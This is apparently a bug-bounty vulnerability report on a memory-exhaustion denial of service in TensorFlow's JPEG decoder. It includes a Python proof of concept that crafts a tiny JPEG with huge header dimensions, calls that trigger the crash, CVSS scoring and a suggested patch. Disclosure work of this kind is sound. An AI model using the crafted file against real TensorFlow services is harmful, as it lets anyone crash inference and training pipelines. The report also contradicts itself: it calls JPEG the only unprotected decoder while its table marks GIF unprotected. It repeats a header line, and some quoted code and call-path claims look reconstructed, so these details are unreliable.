File size: 5,445 Bytes
7dd6416 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | # Vulnerability Report: TensorFlow JPEG Decoder Unbounded Memory Allocation (DoS)
## Target Info
- **Target:** TensorFlow (`tensorflow/tensorflow`)
- **Component:** `tensorflow/core/kernels/image/decode_image_op.cc` — `DecodeJpegV2`
- **Vulnerability Type:** CWE-770: Allocation of Resources Without Limits or Throttling
- **CVSS Score:** 7.5 High — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- **Vulnerability Type:** CWE-770: Allocation of Resources Without Limits
- **Impact:** Denial of Service (Memory Exhaustion / OOM)
- **Bounty Tier:** $4,000 (Model Format)
## Executive Summary
`DecodeJpegV2` computes `height × width × channels` from untrusted JPEG SOF header metadata and passes that directly to `allocate_output()` without any upper bound check. A crafted JPEG with `width=height=60,000` causes TensorFlow to attempt allocating **~10 GB**, crashing the process. This is an **inconsistency bug**: BMP, PNG, and WebP decoders in the **same file** all enforce hard limits; JPEG is the only one left unprotected — despite being the most common image format.
---
## Root Cause Analysis
**File:** `tensorflow/core/kernels/image/decode_image_op.cc` — `DecodeJpegV2`
```cpp
// DecodeJpegV2 — NO bounds check:
int64_t width, height, components;
// libjpeg reads SOF header — attacker-controlled:
OP_REQUIRES(context,
jpeg::Uncompress(data, size, flags, nullptr,
&width, &height, &components, &buffer),
errors::InvalidArgument("Invalid JPEG data"));
// Allocates height * width * channels bytes — NO LIMIT CHECK:
OP_REQUIRES_OK(context,
context->allocate_output(
0, TensorShape({height, width, components}), &output));
// height=60000, width=60000, channels=3 → 10,800,000,000 bytes
```
**Inconsistency — all other decoders in the same file ARE protected:**
```cpp
// DecodeBmpV2 — safe:
OP_REQUIRES(context, total_bytes < (1LL << 30),
errors::InvalidArgument("Image too large"));
// DecodePngV2 — safe:
OP_REQUIRES(context, total_pixels < (1LL << 29),
errors::InvalidArgument("PNG image too large"));
// DecodeWebP — safe:
OP_REQUIRES(context, total_pixels < (1LL << 32),
errors::InvalidArgument("WebP image too large"));
// DecodeJpegV2 — MISSING CHECK (this vulnerability)
```
| Decoder | Limit | Protected |
|----------------|--------------|-----------|
| `DecodeBmpV2` | `< 2^30` B | ✅ |
| `DecodePngV2` | `< 2^29` px | ✅ |
| `DecodeWebP` | `< 2^32` px | ✅ |
| `DecodeGifV2` | None | ❌ |
| `DecodeJpegV2` | **None** | ❌ **This report** |
---
## Proof of Concept
### Step 1: Generate Malicious JPEG (~200 bytes)
```python
import struct
def create_malicious_jpeg(width=60000, height=60000):
data = b'\xFF\xD8' # SOI
# APP0 (JFIF)
jfif = b'JFIF\x00\x01\x02\x00' + struct.pack('>HH', 1, 1) + b'\x00\x00'
data += b'\xFF\xE0' + struct.pack('>H', len(jfif)+2) + jfif
# SOF0 — huge dimensions here:
sof = struct.pack('>BHHB', 8, height, width, 3)
for i in [1,2,3]: sof += struct.pack('>BBB', i, 0x11, 0)
data += b'\xFF\xC0' + struct.pack('>H', len(sof)+2) + sof
data += b'\xFF\xD9' # EOI
return data
with open('malicious.jpg','wb') as f:
f.write(create_malicious_jpeg())
print("malicious.jpg created")
```
### Step 2: Trigger
```python
import tensorflow as tf
jpeg_bytes = open('malicious.jpg','rb').read()
tf.io.decode_jpeg(jpeg_bytes, channels=3)
# → ResourceExhaustedError: OOM when allocating tensor [60000,60000,3]
# → 10.8 GB allocation attempt on a ~200 byte input file
```
**Also triggered by:**
```python
tf.io.decode_image(jpeg_bytes) # via decode_image → decode_jpeg
tf.keras.utils.load_img('malicious.jpg') # via PIL fallback → tf.io
```
---
## Impact
**Broadest attack surface of any TF image decoder:**
- `tf.io.decode_jpeg()` / `tf.io.decode_image()` — direct API
- `tf.keras.preprocessing.image.load_img()` — used in virtually all Keras tutorials
- `tf.data` image pipelines — common in production training jobs
- TF Serving image endpoints — crashes inference server
- Google Colab / Vertex AI / TFX pipelines
JPEG accounts for the majority of image uploads on the web. Any TF pipeline accepting user image uploads is vulnerable.
---
## CVSS 3.1
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` — **Score: 7.5 High**
| Metric | Value | Rationale |
|--------|-------|-----------|
| Attack Vector | Network | JPEG via HTTP upload / S3 bucket |
| Attack Complexity | Low | ~200 byte file, no conditions |
| Privileges Required | None | No auth |
| User Interaction | None | Automated pipeline |
| Availability | High | Complete crash |
---
## Remediation
```cpp
// tensorflow/core/kernels/image/decode_image_op.cc — add after jpeg::Uncompress():
int64_t total_bytes = static_cast<int64_t>(height) * width * components;
OP_REQUIRES(context, total_bytes < (1LL << 30),
errors::InvalidArgument(
"JPEG image too large: ", total_bytes,
" bytes (", height, "x", width, "x", components, ")",
" — max 2^30 bytes (consistent with BMP decoder limit)."));
```
---
## References
- `tensorflow/core/kernels/image/decode_image_op.cc`
- CWE-770: https://cwe.mitre.org/data/definitions/770.html
- Related: CVE-2022-29213 (tf.io.decode_png OOM), CVE-2022-23594 (TF JPEG OOM via channels)
|